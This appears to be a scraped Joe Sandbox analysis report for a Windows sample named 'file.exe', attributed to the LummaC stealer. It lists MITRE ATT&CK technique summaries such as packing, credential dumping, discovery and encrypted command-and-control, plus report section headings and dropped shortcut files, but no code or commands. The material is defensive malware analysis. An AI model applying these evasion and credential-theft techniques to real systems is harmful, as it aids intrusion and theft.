Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre